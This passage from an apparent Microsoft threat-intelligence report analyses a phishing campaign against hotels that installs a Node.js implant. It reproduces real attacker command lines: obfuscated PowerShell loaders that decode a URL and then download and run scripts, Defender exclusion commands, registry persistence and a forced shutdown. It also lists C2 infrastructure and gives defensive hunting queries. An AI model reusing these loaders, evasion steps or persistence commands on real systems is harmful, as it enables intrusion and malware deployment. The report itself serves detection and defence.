The threat actor maintains a second delivery variant that bypasses the share.google intermediate step, linking directly from a Calendly redirect URL to the phishing domain (calendly[.]com/url?q=photo-*[.]cfd). Microsoft observed that both variants are active simultaneously, with the same Calendly user UUIDs appearing across both paths. This supports the assessment that a single operator is managing the parallel delivery mechanisms. 

PowerShell-based first stage 

Once the malicious shortcut is opened, the next-stage payload invokes PowerShell and launches an obfuscated BigInt decoder. Across the campaign, the PowerShell stage consistently decodes data and then downloads an additional .ps1 file. Microsoft observed a repeating pattern of BigInt decoder →  Invoke-WebRequest → .ps1. The full obfuscation evolution across seven phases is detailed in the Obfuscation evolution section of this blog. 

The decoded URL points to the campaign’s download domains. In the validated chain, the .ps1 file is retrieved from the photo-*.cfd landing domain 

.NET DLL compilation (Wave 2) 

In Wave 2, we observed a new intermediate stage between the PowerShell download and Node.js deployment. The downloaded .ps1 script triggers dynamic .NET compilation through csc.exe (the C# compiler), which in turn invokes cvtres.exe (the resource-to-object converter). This sequence produces small DLL files with random names.  

Representative observed artifacts: 

csc.exe → cvtres.exe → <random>.dll (3,072 bytes) 

Figure 2. Wave 2 .NET DLL compilation chain. The compiled DLL was created but wasn’t observed being loaded through rundll32 or regsvr32 in available telemetry. This stage might be preparatory or conditional. 

Microsoft assesses that this stage wasn’t present in Wave 1 and represents an expansion in the attack chain. 

Script staging and Node.js implant deployment 

After decoding and retrieval, the downloaded PowerShell script runs from the %TEMP% folder. This staging step appears to be transitional rather than final, enabling subsequent download or launch of the campaign’s Node.js component.  

We observed the next step as execution of node.exe from a user-space path. The Node runtime version observed across both waves is node-v24.13.0-win-x64 (SHA-256: d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11, 89.9 MB – downloaded from the legitimate nodejs[.]org site).  

Figure 3 shows representative observed command lines: 

"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\E2HPVoYGA77RECeb.js safedocphoto[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\jVXvdhxNfcqHuSf.js recallnine[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\c4yCFRzE.js kentjerk[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\FfXznFDs8.js photodoc-secure[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\f76qtHrP.js kelopins[.]info

Figure 3. Node.js implant execution with random JavaScript filenames and C2 domain arguments. 

The Node.js runtime functions as the interpreter for the implant’s .js payloads. Microsoft assesses that placing the runtime in a user-writable location could help the threat actor avoid dependencies on a system-installed Node.js binary while also supporting repeated payload reuse across different filenames. Hash reuse across distinct filenames confirms reuse of the same binaries, reinforcing the assessment that the threat actor prioritizes operational repeatability. 

The Node.js implant also establishes its own persistence by spawning PowerShell to create a detached, hidden child process: 

powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, 
  ['C:\\Users\\[REDACTED]\\AppData\\Local\\Nodejs\\.js'], 
  {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; 
  $command = ... 

Figure 4. Node.js persistence mechanism using child_process.spawn with detached and windowsHide flags. 

Defense evasion and payload execution 

Once the Node.js component is established, the campaign modifies Defender settings by using Add-MpPreference -ExclusionProcess for temporary-path executables. We assess that this exclusion step is intended to reduce inspection of follow-on binaries located in AppData\Local\Temp. Figure 5 shows representative observed exclusion commands: 

powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\utramdJQjRMJ.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\YEg9nfBg3QG4.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\57AVjhcz6vL0c.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\sDNud94J7WVDN.exe\"" 

Figure 5. Defender process exclusions added for randomly named EXE files seconds before their execution. 

These excluded random EXE files in AppData\Local\Temp are then launched, followed by helper .tmp installers or unpackers that used names matching is-*.tmp and commonly ran with /SL5 or /VERYSILENT. This combination suggests a deployment chain in which the Node.js implant stages additional binaries, then launches installer-like helpers to unpack or execute the next payload. Microsoft assesses that the .tmp convention and silent-install flags are likely chosen to minimize user awareness while also obscuring the actual payload family. 

ProgramData relocation and persistence 

Observed payloads are then copied into C:\ProgramData\<random>\<payload>.exe. Lowercase copies with the same hash appear under different filenames, which is consistent with repackaging or relocation for stability rather than recompilation. Figure 6 shows representative observed ProgramData paths from the campaign: 

C:\ProgramData\FFXjwKn\fehqf5oo.exe 
C:\ProgramData\PEIEZlD\qulcp452eb9.exe 
C:\ProgramData\YXbwfua\e6kz1ruadskkk.exe 
C:\ProgramData\PsrOqKF\vl8daccehg.exe 
C:\ProgramData\riloNEK\s8bpfaee.exe 
C:\ProgramData\JMSVrLU\choffgpa.exe 

Figure 6. ProgramData relocation paths with randomized folder names and lowercase payload filenames. 

The persistence model used in this campaign is especially notable. We observed a dual mechanism in which HKCU\RunOnce pointed to the ProgramData executable while HKCU\Run pointed to the Node.js component. Figure 7 shows a representative registry persistence command: 

cmd /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" 
  /v "zZBPZPuA" /t REG_SZ /d "C:\ProgramData\FFXjwKn\fehqf5oo.exe" /f 

Figure 7. Registry RunOnce persistence pointing to ProgramData payload with randomized value name. 

The RunOnce behavior is particularly unusual because the payload refreshes its own persistence after each execution, effectively creating a RunOnce loop. Microsoft assesses that this design might have been intended to complicate cleanup by repopulating an entry that defenders might otherwise treat as one-time execution. 

Command and control 

In later stages of the campaign, compromised systems beacons to fixed IP infrastructure over non-standard ports including: 

• 8443 

• 8445 

• 8453 

• 5555 

• 56001 

• 56002 

• 56003  

We observed the campaign expanding its C2 infrastructure between waves: 

Wave 1 IPs: 

• 178.16.54[.]27 

• 95.217.97[.]121 

• 193.202.84[.]32 

• 178.16.55[.]179 

The IP address 178.16.54[.]27 remains active on ports 56001/56002 across both waves. 

We also observed numerous unique domains themed around photos, documents, visas, safes, and vaults, spanning top-level domains (TLDs) such as the following: 

• .info 

• .com 

• .pro 

• .xyz 

• .cloud 

• .icu 

• .sbs 

• .click 

• .bond 

• .cfd (Wave 2) 

Wave 2 introduced Cloudflare-hosted .cfd domains following a photo-<random numbers> naming convention: 

• photo-26254[.]cfd 

• photo-26654[.]cfd 

• photo-132454[.]cfd 

• photo-8632454[.]cfd 

The domain sec-safe-dc[.]info was observed active in both waves, further supporting the assessment of a single continuous campaign. 

Obfuscation evolution 

A defining characteristic of this campaign is its steady but disciplined obfuscation evolution. Microsoft observed seven PowerShell obfuscation phases over the course of the campaign, but the underlying logic remained consistent: decode embedded data through arithmetic operations, recover the next-stage content, and retrieve a PowerShell script that runs from the %TEMP% folder. This pattern suggests that the threat actor is iterating for durability against static detections rather than experimenting with entirely new tradecraft. 

Phase 1: XOR bigint decoding

Early samples rely on XOR arithmetic, using two large integers and a -bxor operation, followed by byte masking and shifting. The following is a representative observed command line: 

powershell.exe -ep bypass -c "$k=[bigint]\"2004985473718821432817707887657617\"; 
$w=[bigint]\"278573358569528286847653191217377\";$o=$k -bxor $w; 
while($o -ne 0){$g+=[char]([int]($o -band 0xFF));$o=$o -shr 8}; 
iwr $g -OutFile $env:TEMP\eRJGv.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\eRJGv.ps1" 

Figure 9. Phase 1 PowerShell downloader using XOR-based bigint decoding with -bxor, -band 0xFF, and -shr 8. 

Phase 2: Subtraction replaces XOR

Microsoft then observed the threat actor swapping XOR logic for subtraction while keeping the rest of the decoder identical. This change bypasses detections anchored on -bxor: 

powershell.exe -ep bypass -c "$i=[bigint]\"1568015162836542885394310232785365293\"; 
$y=[bigint]\"989592658109712364469795296253690811\";$r=$i - $y; 
while($r -ne 0){$m+=[char]([int]($r -band 0xFF));$r=$r -shr 8}; 
iwr $m -OutFile $env:TEMP\VJksAkfp.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\VJksAkfp.ps1"

Figure 10. Phase 2 variant replacing -bxor with subtraction while preserving the same decoding structure. 

Phase 3: Hexadecimal to decimal substitution

The decoder then shifts from -band 0xFF to -band 255. Although functionally equivalent (0xFF = 255), this change is consistent with a threat actor testing whether surface-level constant changes could degrade signature reliability: 

powershell.exe -ep bypass -c "$e=[bigint]\"1080978693158786688289132234139422058835788841232\"; 
$l=[bigint]\"444996423444240363171355535687083720697400778653\";$w=$e - $l; 
while($w -ne 0){$j+=[char]([int]($w -band 255));$w=$w -shr 8}; 
iwr $j -OutFile $env:TEMP\ymqMj.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\ymqMj.ps1" 

Figure 11. Phase 3 variant replacing 0xFF with decimal 255. 

Phase 4: Arithmetic masking

Masking expressions are further transformed into arithmetic forms that evaluate to the same constant. This variation prevents simple string matching on either 0xFF or 255: 

powershell.exe -ep bypass -c "$e=[bigint]\"988466760738254167909712279829942477\"; 
$y=[bigint]\"352542850680807474382013127968401501\";$i=$e - $y; 
while($i -ne 0){$b+=[char]([int]($i -band (177+78)));$i=$i -shr 8}; 
iwr $b -OutFile $env:TEMP\23QbL.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\23QbL.ps1"

Figure 12. Phase 4 variant hiding the byte mask behind arithmetic expressions such as (177+78). 

Other observed arithmetic masks included -band (100+155) and -band 128+127, all resolving to 255. 

Phase 5: Modulo and division

Later samples replace the bit-shift model entirely, switching from -band and -shr to modulo and division operations: 

powershell.exe -ep bypass -c "$s=[bigint]\"28248557062916408148263140002288993200489702\"; 
$o=[bigint]\"18544237761852163685406436002210545666450291\";$e=$s - $o; 
while($e -ne 0){$x+=[char]([int]($e -band (255)));$e=$e -shr 8}; 
iwr $x -OutFile $env:TEMP\PVtvOP40.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\PVtvOP40.ps1"

Figure 13. Phase 5 transitional variant; later samples in this phase fully replaced -band/-shr with % 256 and / 256. 

Phase 6: Syntax diversification and randomization

The threat actor adopts “num” -as [bigint] casting syntax, introduces long random variable names, and uses modulo/division for byte extraction. The combined effect makes each sample visually distinct despite identical logic: 

powershell.exe -ep bypass -c "$zGjEc0LINYdefj=\"25908558764390958596189327204542\" -as [bigint]; 
$MyL4evU3=256; 
$GqA4xFav=\"17082531775760189576112827972435\" -as [bigint]; 
$XwcU0kg87CFgqe5=$zGjEc0LINYdefj - $GqA4xFav; 
while($XwcU0kg87CFgqe5 -ne 0){ 
  $qy8gWy4FONBaCV+=[char]([int]($XwcU0kg87CFgqe5 % $MyL4evU3)); 
  $XwcU0kg87CFgqe5=$XwcU0kg87CFgqe5 / $MyL4evU3}; 
iwr $qy8gWy4FONBaCV -OutFile $env:TEMP\.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\.ps1"

Figure 14. Phase 6 variant using -as [bigint] syntax, long randomized variable names, and modulo/division decoding. 

Phase 7: For-loop variant with arithmetic mask (Wave 2)

The most recent observed phase introduces a for-loop iteration model with an arithmetic mask using a variable set to 100+156 (=256) and -as [bigint] casting. This is a natural evolution of Phase 6’s syntax diversification, further altering the control flow structure while preserving the same underlying decode-and-download behavior: 

powershell.exe -ep bypass -c "$IcZWdT=100+156; 
$=\"\" -as [bigint]; 
$=\"\" -as [bigint]; 
$=$ - $; 
for($i=0; $ -ne 0; $i++){ 
  $
+=[char]([int]($ % $IcZWdT)); 
  $=[bigint]($ / $IcZWdT)}; 
iwr $
 -OutFile $env:TEMP\.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\.ps1"

Figure 15. Phase 7 variant (Wave 2) introducing a for-loop with arithmetic mask $IcZWdT=100+156 and -as [bigint] casting. 

This seven-phase evolution demonstrates a threat actor that monitors or anticipates detection pressure. The campaign doesn’t pivot away from PowerShell or Node.js; instead, it repeatedly re-skins a working loader. For defenders, this means purely literal detections on isolated operators, constants, or variable names might age quickly, while behavior-based detections anchored on the full sequence—shortcut execution, PowerShell decode, %TEMP% staging, Node.js from user space, Defender exclusions, and ProgramData persistence—are likely to remain more resilient. 

Campaign evolution 

Microsoft assesses that the observable differences between Wave 1 and Wave 2 represent a deliberate operational evolution by the same threat actor. The following cross-wave correlations support this assessment: 

Evidence of a single continuous campaign 

Cross-wave artifact overlaps demonstrating a single continuous campaign. 

What changed between waves 

Summary of campaign evolution from Wave 1 to Wave 2. 

Microsoft assesses that these changes reflect operational maturation rather than a shift in objectives. The threat actor expanded evasion (DLL compilation, Cloudflare fronting) and broadened targeting—all while maintaining the same core attack chain and reusing key infrastructure. 

Persistence survival analysis 

One of the significant findings from Wave 2 is the demonstrated resilience of the dual persistence model under active Defender intervention. 

On a confirmed compromised device, Defender detected and blocked one PE payload (xmnrwv9l.exe, SHA-256: 04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1) with Wacatac detections. Despite that block, the Node.js HKCU\Run key persistence remained active. Approximately two days later, the Node.js implant reactivated and resumed C2 communications to new domains. 

Following the initial block, Microsoft observed additional /VERYSILENT EXEs deployed on the same device: 

cBA8H4S5k04jAY.exe 
eaa3q8BQZcnIOV.exe 
BaUWXagH4CGZS.exe 
CJE4domtVFM9LX.exe

Figure 18. Additional payload EXEs deployed after Defender blocked the initial PE, demonstrating the implant’s ability to retry delivery through the surviving Node.js persistence. 

This sequence highlights a remediation consideration: the dual persistence model (RunOnce for the PE payload + Run for Node.js) means that blocking one execution path might not fully neutralize the other. The Node.js implant, if it remains active, can re-download and re-attempt payload delivery. Microsoft assesses that complete remediation of this campaign requires removal of both persistence mechanisms—the ProgramData RunOnce entry and the Node.js Run key—along with the Node.js runtime and associated .js files from the user’s AppData\Local\Nodejs\ directory. 

Post-compromise activity 

Microsoft observed a subset of devices reaching clear late-stage post-compromise behavior. On multiple devices, the activity progressed to active C2 beaconing, browser automation with –headless –no-sandbox flags, and environment lookups. Based on the command-line pattern alone, Microsoft assesses that the threat actor likely used automated browser execution rather than manual interactive browsing on those hosts. 

The campaign also performed an environment lookup using ip-api[.]com, observed through 208.95.112[.]1. This behavior is consistent with gathering external network context before continuing operations. Microsoft assesses that this lookup might have helped the operator understand geographic or connectivity attributes of the compromised device environment. 

A final disruptive behavior involved forced shutdown through cmd /c shutdown -s -t 0, observed on multiple devices. Microsoft assesses that immediate shutdown could have served several purposes depending on the host context: interruption of user activity, reduction of defender response time during a specific stage, or concealment of visible symptoms after automated browser tasks or payload launches completed. 

The persistence design itself is a meaningful post-compromise observation. The combination of a durable Node.js launch point in HKCU\Run and a repeatedly refreshed ProgramData payload through HKCU\RunOnce suggests an effort to maintain execution options across user sign-ins while also preserving a secondary recovery path. This RunOnce loop is unusual enough that it might provide defenders with a strong hunting pivot even when file names, domains, or script syntax change. 

Mitigation and protection guidance

Organizations in hospitality and adjacent service industries should prioritize layered detections for this campaign’s behavior sequence rather than any single indicator. Microsoft recommends the following actions based on the observed attack chain: 

1. Treat photo-themed ZIP archives and fake image shortcuts as high risk. Investigate browser-downloaded archives matching photo-<random numbers>.zip and shortcut files matching IMG-<random numbers>.png.lnk or PHOTO-<random numbers>.png.lnk, especially when they’re followed by PowerShell or script interpreter launches. Learn more about attack surface reduction rules 

2. Harden and monitor PowerShell execution. Because the campaign repeatedly used obfuscated BigInt arithmetic across seven phases, defenders should prioritize PowerShell activity that includes unusual combinations of BigInt casting, subtraction or XOR decode logic, byte masking, modulo or division byte extraction, for-loop decode patterns, and subsequent Invoke-WebRequest behavior. Learn more about PowerShell constrained language 

3. Monitor for unexpected .NET compilation. The appearance of csc.exe spawning cvtres.exe and producing small DLLs in user-writable paths, especially when initiated by PowerShell scripts from %TEMP%, is unusual in hospitality environments and should be investigated. 

4. Investigate Node.js execution from user-space paths. node.exe running from C:\Users\<user>\AppData\Local\Nodejs\ with a random .js file and domain argument is unusual in many enterprise environments. Microsoft recommends reviewing whether Node.js is expected on reception, front office, or similarly targeted systems. 

5. Alert on Defender exclusion changes tied to temporary executables. Add-MpPreference -ExclusionProcess aligned to %TEMP% or AppData\Local\Temp should be treated as suspicious when associated with shortcut-driven or script-driven execution chains. Learn more about tamper protection .

6. Hunt for random EXE launches from temporary paths and helper .tmp installers. The campaign uses numerous unique temporary executable filenames and helper is-*.tmp files with /SL5 or /VERYSILENT. These patterns are likely more durable than individual filenames. 

7. Review persistence in both HKCU\Run and HKCU\RunOnce. Pay particular attention to values that launch node.exe from user directories or reference executables under C:\ProgramData\<random>\. Because the campaign refreshes RunOnce, repeated recreation of that value might be a strong signal. Critically, both keys must be removed during remediation—removing only the RunOnce entry leaves the Node.js implant active. 

8. Monitor network connections on the observed non-standard ports. Outbound traffic to 8443, 8445, 8453, 5555, 56001, 56002, and 56003, especially when initiated by node.exe or executables from user profile and temporary paths, should be reviewed promptly. 

9. Block or alert on .cfd domains matching the campaign pattern. Wave 2 domains follow a photo-<digits>[.]cfd naming convention. Organizations should consider blocking these patterns and monitoring for DNS queries to recently registered .cfd domains. 

10. Investigate browser automation and forced shutdown patterns. The combination of –headless –no-sandbox and cmd /c shutdown -s -t 0 might indicate late-stage execution on selected hosts. 

11. Use sector-aware hunting. Because Microsoft observed concentration in hospitality and hotel environments across multiple countries, organizations should review devices associated with front desk, reservation, reception, and guest-facing workflows first. 

Microsoft Defender XDR detections 

Microsoft assesses that Microsoft Defender coverage for this campaign is most effective when it combines process, registry, file, and network telemetry rather than relying on blocking individual indicators of compromise (IOCs). 

TonRAT is the campaign’s implant family (validated on the dropped .ps1 and .js payloads). “Wacatac” and “PureRat” are Microsoft Defender detection names that fire on specific binaries in the attack chain (the LNK or PE payload and the ProgramData persistence executable, respectively). 

Beyond signature-based prevention, Microsoft Defender can surface this campaign through behavioral detections, including alerts such as Suspicious Node.js child process execution and Node.js Hidden Run‑Key Persistence, which are designed to identify implant activity even as file names, domains, and script syntax change. 

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.  

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.  

Microsoft Security Copilot 

Microsoft Security Copilot customers can use the following prebuilt promptbooks to support investigation and response for activity related to this campaign: 

• Incident investigation: Summarize incidents and triage alerts related to Node.js persistence, PowerShell decode chains, and registry modification.

• Microsoft User analysis: Profile compromised hospitality accounts (reception, frontdesk, reservations) for scope assessment.

Advanced hunting queries 

Microsoft Defender XDR 

NOTE: The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.     

Fake image shortcut execution (both LNK naming patterns) 

This query identifies execution of shortcut files matching the campaign’s photo-themed LNK naming convention across both Wave 1 and Wave 2 patterns. 

DeviceProcessEvents 
| where FileName =~ "explorer.exe" or FileName =~ "cmd.exe" or FileName =~ "powershell.exe" 
| where ProcessCommandLine has ".lnk" 
| where ProcessCommandLine has_any ("IMG-", "PHOTO-") and ProcessCommandLine has ".png.lnk" 
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Node.js implant execution from user-space paths 

This query identifies Node.js execution from the campaign’s characteristic AppData\Local\Nodejs\ staging path with JavaScript payload arguments. 

DeviceProcessEvents 
| where FileName =~ "node.exe" 
| where FolderPath has @"\AppData\Local\Nodejs\" 
| where ProcessCommandLine has ".js" 
| project Timestamp, DeviceName, FolderPath, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

.NET DLL compilation from PowerShell-downloaded scripts (Wave 2) 

This query detects the Wave 2 attack chain expansion where PowerShell scripts trigger dynamic .NET compilation through csc.exe.

DeviceProcessEvents 
| where FileName in~ ("csc.exe", "cvtres.exe") 
| where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe") 
    or InitiatingProcessFolderPath has @"\AppData\Local\Temp\" 
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Defender process exclusions followed by Temp execution 

This query correlates Defender exclusion modifications with subsequent executable launches from temporary paths within a 30-minute window. 

let exclusionEvents = 
DeviceProcessEvents 
| where FileName in~ ("powershell.exe", "pwsh.exe") 
| where ProcessCommandLine has "Add-MpPreference" and ProcessCommandLine has "-ExclusionProcess" 
| project DeviceId, DeviceName, ExclusionTime=Timestamp, ExclusionCmd=ProcessCommandLine; 
let tempExecs = 
DeviceProcessEvents 
| where FolderPath has @"\AppData\Local\Temp\" 
| where FileName endswith ".exe" or ProcessCommandLine has ".exe" 
| project DeviceId, TempExecTime=Timestamp, TempFile=FileName, TempPath=FolderPath, TempCmd=ProcessCommandLine; 
exclusionEvents 
| join kind=inner tempExecs on DeviceId 
| where TempExecTime between (ExclusionTime .. ExclusionTime + 30m) 
| project DeviceName, ExclusionTime, ExclusionCmd, TempExecTime, TempFile, TempPath, TempCmd 
| order by ExclusionTime desc

Installer or unpacker behavior using is-.tmp and silent flags 

This query identifies the campaign’s characteristic use of temporary installer files with silent execution flags. 

DeviceProcessEvents 
| where ProcessCommandLine has @"\is-" and ProcessCommandLine has ".tmp" 
| where ProcessCommandLine has_any ("/SL5", "/VERYSILENT") 
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc 

Registry persistence to Node.js and ProgramData 

This query detects creation or modification of Run or RunOnce values pointing to the campaign’s persistence locations. 

DeviceRegistryEvents 
| where RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\Run" 
    or RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\RunOnce" 
| where RegistryValueData has_any (@"\AppData\Local\Nodejs\", @"\ProgramData\") 
| project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Non-standard port beaconing from Node.js or suspicious user-space binaries 

This query identifies network connections on the campaign’s observed C2 ports from suspicious process locations. 

DeviceNetworkEvents 
| where RemotePort in (8443, 8445, 8453, 5555, 56001, 56002, 56003) 
| where InitiatingProcessFileName =~ "node.exe" 
    or InitiatingProcessFolderPath has @"\AppData\Local\Temp\" 
    or InitiatingProcessFolderPath has @"\AppData\Local\Nodejs\" 
    or InitiatingProcessFolderPath has @"\ProgramData\" 
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl 
| order by Timestamp desc

Wave 2 .cfd and .bond domain connections 

This query detects network connections to the campaign’s Wave 2 domain infrastructure. 

DeviceNetworkEvents 
| where RemoteUrl has_any (".cfd", ".bond", ".click") 
| where RemoteUrl has "photo-" or RemoteUrl has_any ("zloapobikahy23", "higoksbupwou", "aluminiostramuntana") 
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Browser automation and forced shutdown on previously affected hosts 

This query identifies late-stage post-compromise behavior on hosts already showing earlier campaign indicators. 

let suspiciousHosts = 
DeviceProcessEvents 
| where FileName =~ "node.exe" and FolderPath has @"\AppData\Local\Nodejs\" 
| distinct DeviceId; 
DeviceProcessEvents 
| where DeviceId in (suspiciousHosts) 
| where ProcessCommandLine has_any ("--headless", "--no-sandbox", "shutdown -s -t 0") 
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Calendly-associated notification infrastructure used in phishing delivery 

This query identifies emails from the campaign’s Calendly-associated subdomain with the characteristic display name. 

EmailEvents 
 | where SenderMailFromDomain =~ "em1618.calendly.com" 
| where SenderMailFromAddress startswith "bounces+13766497-" or SenderDisplayName has "Booking Manager" 
 | project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation, ThreatTypes 
 | order by Timestamp desc

share.google redirect token detection in email URLs 

This query detects emails containing share.google redirect URLs, which the campaign uses as an intermediate hop to obscure the final phishing destination. 

EmailUrlInfo 
 | where Url contains "share.google/" 
 | join kind=inner EmailEvents on NetworkMessageId 
 | where SenderMailFromDomain has "calendly" or SenderDisplayName has "Booking" 
 | project Timestamp, NetworkMessageId, SenderFromAddress, RecipientEmailAddress, Subject, Url, DeliveryAction 
 | order by Timestamp desc

Calendly redirect URL phishing detection 

This query identifies emails containing Calendly redirect URLs that match known campaign patterns, including share.google tokens or photo-*.cfd domains. 

EmailUrlInfo 
 | where Url contains "calendly.com/url?q=" 
 | where Url has_any ("share.google", "photo-", ".cfd") 
 | join kind=inner EmailEvents on NetworkMessageId 
 | project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, Url, DeliveryAction, AuthenticationDetails 
 | order by Timestamp desc

High-frequency file hash hunting (combined Waves 1 and 2) 

This query hunts for all known campaign file hashes across endpoint telemetry.

let hashes = dynamic([ 
    "83e970feb3f10692c164f6889f7a026f135c2433e5bf8e662a6e63a3b81267b7", 
    "06a2888c1f07119873ccb051221bd8717281494b33585f4242556e6e5e227969", 
    "04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1", 
    "1c693bcdaf1da636eb21c274b21cc2f6c52c62ddd514700783eee83fe13acb0a", 
    "2e5fd01b7949a45937b853eabcf4b03195614cf84338dcaaa97240d1c5301ddc", 
    "3f66634f103b80412d1d670b91befab2a74425d2ea76d904c4a7ffae2ae94b44", 
    "63565f15a99769bbcd527a4d53e5cc259d80e1254463ef9c878c2074685558ae", 
    "49cc0e0c3ec060fb354cacee244d4f297aaefb6db66e67a21262d6c4d2eae1bd", 
    "6580de3b74fd635a1d7a887b8f6e5b0c9ac9e90d6e20466ad41489203119cca9", 
 
    "f629311734b7c6e6579f8e1d0e1e3f3bf72c9ac6c301b631ba4df7f393c41b14", 
    "98825c0c7764f45c891275b2f038ea559e84b340df30b41c2cc77b8d4215c6c8", 
    "bd6805782df15e53581096b99bd6bbb81f4d4a5e2d2b30954df63175a4075be9", 
    "89934cb1494cf0327f0ab82fe644c74caf687814379cad116bd7adaca74c1028", 
    "1f8daffec5945a13a1e9231f4a76655d4c7ef4560d0c64ca3abfe48f38297cbd", 
    "9f10e3b6e5745784f26d18c38ce01fba054b19749c17260978ac11472564aee2", 
    "97448688b292bfec6d83b153588076fe59b111c35ac4e42a916238df16a71e2f", 
    "c5baa0c16b0074a1e94b48aa0177e9bfc23746aca8a5b42848a6685da85658b5", 
    "b7f46b192cd83a1d2487cb048cca645f6e8855b9673d500d50bbdb04eebc6bea" 
]); 
DeviceFileEvents 
| where SHA256 in (hashes) 
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Microsoft Sentinel

Microsoft Sentinel customers can use the Microsoft Defender XDR connector to ingest the above queries or leverage the Threat Intelligence Mapping analytics rule to match campaign IOCs against ingested logs. 

MITRE ATT&CK techniques

Indicators of compromise 

Observed C2 IPs and non-standard ports 

Representative observed domains 

Wave 1 domains 

Wave 2 domains  

Microsoft has assigned malicious ratings to these domains, and they are being blocked. 

File hashes 

Key behavioral patterns 

References

• Technical Analysis of Suspicious Emails Targeting the Hotel Industry | SOC Prime
• ITOCHU Cyber & Intelligence

This research is provided by Microsoft Defender Security Research,  Parth Jamodkar, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access appeared first on Microsoft Security Blog.